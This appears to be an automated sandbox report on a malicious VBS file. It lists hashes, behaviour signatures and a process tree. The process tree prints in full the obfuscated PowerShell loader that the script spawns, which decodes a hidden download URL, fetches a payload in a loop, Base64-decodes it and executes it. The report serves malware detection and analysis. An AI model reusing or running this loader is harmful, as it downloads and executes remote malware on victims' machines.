Analysis
-
max time kernel
149s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
31/10/2024, 02:07
General
-
Target
14eb913e7c5fe08f6c5f656178f35713b605f7d0aa1c62489b3cfaf418a0c27e.vbs
-
Size
334KB
-
MD5
711cff133683d7f9312c134d52588e61
-
SHA1
b062c22b25b1bd40ea3cf6353cedcee0d86188ac
-
SHA256
14eb913e7c5fe08f6c5f656178f35713b605f7d0aa1c62489b3cfaf418a0c27e
-
SHA512
9faf806f982d1f1ca617ef7c37f06d635a0cdcb50a94b4e5707060af0354a436b0a847681de2f9164a4f79d8e08250d1589da272b975f0a4afa9617918a28a37
-
SSDEEP
6144:En64ik47Q3WAFLOgL6hPnAIjxnH7sjS3xcrl0ZIRN2XrwozRMeqzAv+qmXpiEcIi:ZgcgL8jD/wGmzcspqAI3Hr
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\14eb913e7c5fe08f6c5f656178f35713b605f7d0aa1c62489b3cfaf418a0c27e.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Skravereapparat Brnecykels Chilotomy Allegorien #>;$rlingsankerets='Blissful';<#Revanchekamps Ledestjerne Dandyishly Momotidae Anraaber Rommens #>; function Indbankende($Udspejdes){If ($host.DebuggerEnabled) {$Nationalrettens++;}$Refusionsopgrelsen=$Notwithstanding+$Udspejdes.'Length'-$Nationalrettens; for ( $Skillessness=5;$Skillessness -lt $Refusionsopgrelsen;$Skillessness+=6){$vejle=$Skillessness;$spejlet+=$Udspejdes[$Skillessness];}$spejlet;}function Pyrogens($Woblernes){ . ($Brinkmanns) ($Woblernes);}$Konformistiske=Indbankende 'LicenM DevioCeleszPersoiAffejlAa sklB dgraCusto/ko,st ';$Unsimulated156=Indbankende 'PrdisTcr,nalOrgans vile1 Shin2Forha ';$Mirjas='prove[AtramNStjerET,eogTK pit. dstas ,emaePar orFavorvPaniciSibilCKo,ceeSsl.np ExtooSpgelISpiriNReforTSlaaemLedsaaUttheNJow eAKeerigTusseEMaaleRAp ca] cari:Ch li:SeacoSSubpaERhinoCSnkniUCitywRInforiRepo tWolfrYEpexep L,derSkrivoUn alTAnseeO,jeneCFlygtOSoloslHyper=Drama$ tomiuRegisn CacoSProtii ugtiMRecliUEmblel MoldaMaaletFravreRom.ndHange1Faggo5Sanch6Jej,n ';$Konformistiske+=Indbankende 'Solst5Inter.St ki0Triss arbl(S micWInd eiBrndenNonsudAfs ioSidemwImpsosInsna cho dNSta iTCogit retsl1Disbo0 Kon .medde0 Sama;Safir BasylWstiksiUdv sn Pl u6Nedsl4 ,rig;Outsi .roldxThirs6Utthe4Diopt; Insi canalrChu,mvEffer:Crino1 Suba3Mangl1Affyr. Laps0Viv.c)Jenbr PartsGUni reHagbacUnt ekDis eoSaltp/Idiot2Gobyp0Puppe1Kandi0Haang0Under1U rmn0Hverd1Melli Af nF rusvi nterbattleKb anfsaarso Und xOkseb/Svine1Afkld3Rep o1anthe.Kidne0 B ug ';$Platoniker=Indbankende ',apesuFor,osUniveESordiR Fa,t-partiaMasseGApterEFrivoNBourntCopro ';$Udbldningers=Indbankende ' Dm nhUrnegtTypogts rmopArrens Call:Dyrlg/ nage/Preced.ilkar .rtiiUndervOutcaeFarve.NeodagefteroPlumoo SkrdgIndkol New eNrlse.StentcBevidoWoodym uses/opdrauImmatcFable?Pyro.eMisvix An epTissuosuperrDysletMgald=VentrdPuirso Kirkw Impen SeselDeprioDipnear fledKamm & Ma aiAnteddacc u=Softw1Mater2HumboVP,rineKryds-prod.AFarengUlkenfSkalpT VulcuMa giCukr iK Unm n.eceniA lesh rude7Statsa phonWR.spolSamme3Tilt,9ge tez SommpJubelQValseuUdskaj SkamkLabyrCGardiw RecogBremsdBijobHTeosoT,rste ';$Rattus=Indbankende 'c,rks>.ajor ';$Brinkmanns=Indbankende ' aldiDoumaemalacX Cr o ';$Fient='Outrivalled';$Skandinavist='\Bortelimeneres.Uds';Pyrogens (Indbankende 'Rudim$DozerGRainwL MangO OverbP lgrA S lel Regn:RadiuAtrikom nterBFiraaITk,edTDaktyiTilbasClothE ChamRmorale latasUndet=Explo$R ughEBel jnBallovInact:Bil,oAing nPGrat P SqueDSuperATorskt,latiaStrab+Ftncm$ .oussBl,bmKNeapoASvensNTakr DTo.sii inimn Sa nAS illVUdkigi essls Dre.tFra.r ');Pyrogens (Indbankende 'Zooph$ SterGTo,meL GuimO Schib eurya I trLletha:dialesMal,rUL fttpNondee Un,artaktfLCent,ADul.iBHal lOFdse RIsen,iElectoPhysouKalliSPsyc.nUnderEMult sInte,sMesch=Givti$TithouSyndidNedblB TabiLInvalDFrednnMarkeIU ocaN.nputG Per,ERos,bRVes,csUdenr.remisSFunduPFo,reL umbi amueTKr dr( onog$FormoR DelmAF rhaT Lnovt,agaeuRouses mort)Pinne ');Pyrogens (Indbankende $Mirjas);$Udbldningers=$superlaboriousness[0];$Verifikationens=(Indbankende 'Subca$G utcgLikvilre,reOHerm BPlodda s dalBrob : ReveIInstamRaketmVoldgAUnrufricterCFengeEAfmilS.lissc.lectIRdhaab BevglResigEu pan5Ap lo=JoannNQui.zeUdtalW Assi-HalvnOLeksibPandejSa,dsE ampCL.erbT Semi antshSPhysiyChikiSCykelt,aataEBlithMFrids.PosttnKr gsE nkartJehul.TegniwlifeseRegulbCrumbC ontrLAfhugiIndrme Tredn F astekspe ');Pyrogens ($Verifikationens);Pyrogens (Indbankende 'Koord$UnderIKujonmKildemAp alaVarebrSlskicSrv,reSatirsForsoc RegiihjemlbabelilSuluderelak5Rkeen.GabbiH yrogeMa ara hjr dGenereBa,serVirgosSubco[Pulas$ g.leP SkiblIllusa VisutKio,koStukknReshoiIsagokAnmrkeF,rgarCirke]Lsgr =Perso$ Bi.tKHuedeo Pan n Accif UlydobasigrOv rbmSytteiSkyldsA otetBegrliHe edsVnnedkNonh.eSorns ');$Strops203=Indbankende 'Hje,l$ StraIThundmHospimUdarma DegnrBescucKiwifeBosats ProrcMisi iGennebUstillForepe Anse5Milke.ChummDProg.oMetapw PolenMorn lSubs.oCraziaR tradbirkeFSub riLeadllC nnieTuris(S let$ ssegURavkndO erpbMajorlHedondMam nnAsieniOve nnV nregTopi e Brolr JulesDups , Inte$ saetP Forlo AngisEx,rot Odyst DommhN taly iplorTillgo B,vaiMelled IndraNo dvl Nd r)Misun ';$Postthyroidal=$Ambitiseres;Pyrogens (Indbankende 'Salie$ Sejugbarrel Ded.oGastrbGroanaParallSu or: SuboN UranoHresin CycyrL arne WeekQMi jsu vvei UnliS L rsIContetnitraeMi er=Seleu(SolostFjerneBlokastoksiT tire- Un hpHysteASkabsTInputh .hau eve$Dorsop Tilso epi SDis,eT nosttC argHStyrey InteRForbroRetsfiArabiDFabelaUn,raLsubtr)Hebra ');while (!$Nonrequisite) {Pyrogens (Indbankende 'Clina$ Kiasg tte lNavigoIn,flbUnlenamoililSpoli:CentiO angivDrifteSa iarBet.ehBirodoTanetl LnkoiIrishnKonfueE carstas es Aebl=Hybel$ UntrtLavherGreveu Dawne.orts ') ;Pyrogens $Strops203;Pyrogens (Indbankende 'Arti,SForflTDisaraproc,r artTFilov-SrskrSIl egl T amEStaldep iorPCl.rk Kajsp4Imeri ');Pyrogens (Indbankende ' Spri$OutwogWildiL Gok O undeBForskaWith.LDomme:Rr ddnF jlpoSuperndo ber PolyeC.mmeqSkambUViseliH.lvoSGermaIrift TStadfeCingu=Slger(Hyt eTTelegEPeppes Ton Tforly-IndbjPBlidea .fsktGinenh Unex Aris$FirempSugamOC,nomsProgrTBir.et Unu hSol,iY TerrRBas loRutsjI Apo,DFissuaA aziL,lama)Ne li ') ;Pyrogens (Indbankende 'Couri$AarenG Ons Lfolkeo.essubAf.edaDelegLci,il:LiterlTr.ppE JagtT fkbeT valie beklsGrucctOblivEUk,ukS Slag=Unint$Psyc,GRaadgL.ktexOKishkb B ggaWaferL Bush:Kde,eiBankbDSkamfEBarneNOutcatAdelsIDuvniTMarkeeAf krT S syS KaffPR gklrEggheONonbeb UndelPeploeacce,mNebraEUnd rTPrestspret +Bispo+Po zo%Filmm$ArtikSFacituStn ePRisenEBerthr SeleLLap laGittiBSu,ero SyssrOoi.si .ateo MellU N nvS.rednNPrefaE Impasari,rS Rund.AffircunlinOBu kiuRentenVugn TRamli ') ;$Udbldningers=$superlaboriousness[$Lettestes];}$Omdigtning=318395;$Uforsrgedes=31683;Pyrogens (Indbankende 'Baby $ Afk GIndkol R enOPrecoBSelvfA,hichlB,ond:VifilB.aninaClipsrFrsteYAposeS SnegP.verhhMaculeFidfaRRednie Ree mosg.=Dwa f EtatsGtelegEPockiTpough- DelmCTo.dioDefaiNvaabeTBl thES rygnSubarTLseng Tra,$DegenpVkkerOSkilbsTrillTPiecetVexatH kroby mertrFan,eO utatiHermeDC.sigaUdplulB.mhu ');Pyrogens (Indbankende ' Simp$Bahr gAttrilTrestoretrab c pyaSkattlS,inn:SprogD Bldhr UmbeaSube.nBorsyksrhfte EnerrTagryeRegio1Gul.y5Ford.3Slank Pa.as=Rejse Gril[TawdrSStandyUntersCompet Bre.eGl rem Biog.TabulCbilggoInforn udskvDreameDatabrAagettSider]P uci:Story:AutopFBouchrsalgboLudwim CincB Pr.caSlvbesFodere Flag6Overs4SneglSWooletKompirAfflaiNasarnRund.gVitup( Ldin$SlantBZarzuaFniker PaakyDrawbsEmblepr sunhOver eSeraerAmphieSpeku) arro ');Pyrogens (Indbankende ' fkli$.ammeGL getlWayako amibAfstdAKon rlPalai:.esepRly edOBereguP askg elfrhRosenI Fo tSU.smohSurde Smila= Paro nat.r[DrnedSKadenYTodd.Sexem TGoodleRecitM Met .alvorTRul eE arkeXAngartIndor. oldeELdrepnGraphCRepolO UdbeDKnoglISubclNDvrgfGfable]under: inni:Spid A ReseSDesilCG apaiIrratiNo de.,nkleg DentERentetS cias orstTtysaRMetasi Lgnen Platgdisem(Blods$Debi.DBlomsr NoncAUnbomNarbejKPasteesove RafmysEwullc1Physi5B.rne3Hornb)aceit ');Pyrogens (Indbankende 'Plati$detaigR zorlTil.oO,ugbrbNatalaMerliL.ensy:VaultFFarceLNunshE BreaTEj ndf Blo.E PrisL olshtNarageRhe mr Prob=.nter$ Fa irKvadroOuz,suLicenGS lliHDi saIFe dsSbeva hBel.j.ServiSMistnuMelleBAndens zaret V,olRSkallI Th nNHekseG Pi u(Inter$MadweOForstM StaddMedioIDinosGProceTImpernKjersIChuntnA lerg Hyal,Flde.$UmtteU B,kefOvertOVernar CensSSemitrWeepiGVerrieRm.blD S,ameFebe,SAbsol)Delfl ');Pyrogens $Fletfelter;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
-
Filesize
2.9MB
-
Filesize
32KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
4KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB